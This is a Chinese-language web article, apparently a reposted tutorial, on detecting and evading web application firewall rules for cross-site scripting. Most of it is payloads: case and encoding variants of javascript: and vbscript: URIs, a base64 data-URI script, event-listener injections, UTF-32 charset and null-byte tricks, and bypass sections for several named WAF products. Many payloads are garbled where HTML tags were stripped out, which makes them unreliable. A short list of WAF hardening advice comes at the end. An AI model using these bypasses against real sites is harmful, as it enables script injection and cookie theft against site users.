XSS现代WAF规则探测及绕过技术是怎样的
XSS现代WAF规则探测及绕过技术是怎样的,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。
初始测试
1、使用无害的payload,类似,,观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等;2、如果过滤闭合标签,尝试无闭合标签的payload(alert(1);
判断是否触发过滤规则,尝试使用大小写混合字符
1、如果大小写不行的话, // Works With All Browsers( is html encoded to () is html encoded to )
Opera的变量
非常规事件监听
DOMfocusin,DOMfocusout,等事件,这些需要特定的事件监听适当的执行。例如:
";document.body.addEventListener("DOMActivate",alert(1))//";document.body.addEventListener("DOMActivate",prompt(1))//";document.body.addEventListener("DOMActivate",confirm(1))//
此类事件的列表
DOMAttrModifiedDOMCharacterDataModifiedDOMFocusInDOMFocusOutDOMMouseScrollDOMNodeInsertedDOMNodeInsertedIntoDocumentDOMNodeRemovedDOMNodeRemovedFromDocumentDOMSubtreeModified
超文本内容
代码中的情况如下
Click可以使用_javascript:alert(1)//直接执行Click
变形
主要包含大小写和JavaScript变形
javascript:alert(1)javaSCRIPT:alert(1)_JaVaScRipT:alert(1)javas	cript:\u0061lert(1);_javascript:\u0061lert(1)javascript:alert(document.cookie) // AsharJaved
IE10以下和URI中可以使用VBScript
_vbscript:alert(1);vbscript:alert(1);vbscr	ipt:alert(1)"
Data URl
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
JSON内容
反射输入
encodeURIComponent('userinput')
可以使用
-alert(1)--prompt(1)--confirm(1)-
结果
encodeURIComponent(''-alert(1)-'')encodeURIComponent(''-prompt(1)-'')
输入反射在svg标签内
源码如下:
可以输入
www.site.com/test.php?var=text";alert(1)//
如果系统编码了"字符
原因是引入了附加的(XML)到HTML内容里,可以使用2次编码处理
浏览器BUG
字符集BUG
字符集BUG在IE中很普遍,最早的bug是UTF-7。如果能控制字符集编码,我们可以绕过99% 的WAF过滤。
示例
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
可以控制编码,提交
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=">
可以修改为UTF-32编码形式
???script?alert(1)?/script?http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
空字节
最长用来绕过mod_security防火墙,形式如下:
alert(1);
空字节只适用于PHP 5.3.8以上的版本
语法BUG
RFC声明中节点名称不能是空格,以下的形式在javascript中不能运行
<%0ascript>alert(1);
<%, /,/ style=x:expression\28write(1)\29> // Works upto IE7参考http://html5sec.org/#71 // Works upto IE9参考http://html5sec.org/#115// Works in IE7参考 http://html5sec.org/#77<%div%20style=xss:_expression(prompt(1))> // Works Upto IE7 Unicode分隔符
[on\w+\s*]这个规则过滤了所有on事件,为了验证每个浏览器中有效的分隔符,可以使用fuzzing方法测试0×00到0xff,结果如下:IExplorer= [0x09,0x0B,0x0C,0x20,0x3B]Chrome = [0x09,0x20,0x28,0x2C,0x3B]Safari = [0x2C,0x3B]FireFox= [0x09,0x20,0x28,0x2C,0x3B]Opera = [0x09,0x20,0x2C,0x3B]Android = [0x09,0x20,0x28,0x2C,0x3B]x0b在Mod_security中已经被过滤,绕过的方法:rhainfosec缺少X-frame选项
通常会认为X-frame是用来防护点击劫持的配置,其实也可以防护使用iframe引用的xss漏洞
Docmodes
IE引入了doc-mode很长时间,提供给老版本浏览器的后端兼容性,有风险,攻击情景是黑客可以引用你站点的框架,他可以引入doc-mode执行css表达式
_expression(open(alert(1)))以下POC可以插入到IE7中
Window.name欺骗
情景:我们用iframe加载一个页面,我们可以控制窗口的名称,这里也可以执行javascript代码
POC
DOM型XSS
服务器不支持过滤DOM型的XSS,因为DOM型XSS总是在客户端执行,看一个例子:
在一些情况下,反射型XSS可以转换成DOM型XSS:
http://www.target.com/xss.php?foo=Location.hash[1] = : // Defined at the first position after the hash.Location.hash[2]= ( // Defined at the second position after the hasLocation.hash[3] = ) // Defined at third position after the hash.如果有客户端过滤可能不适用
绕过
ModSecurity绕过
rhainfosec参考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html
WEB KNIGHT绕过
F5 BIG IP ASM and Palo ALTO绕过
Dot Defender绕过
黑名单方式永远不是最好的解决办法,但是相对与白名单效率很高,对于WAF供应商来说,最好的实践如下:
1、开发者和管理员要注意WAF只能缓解攻击,并且针对已知的弱点的防护只是和源代码修复的方法打个时间差;2、要保持WAF的规则库更新;3、WAF可以配置参数限制,需要提供手册用于配置参数content-length最大最小长度,content-type类型,在入侵时进行告警;4、如果WAF依据黑名单,要确保可以阻断已知的浏览器BUG,并且相应规则库要及时更新。
看完上述内容,你们掌握XSS现代WAF规则探测及绕过技术是怎样的的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注行业资讯频道,感谢各位的阅读!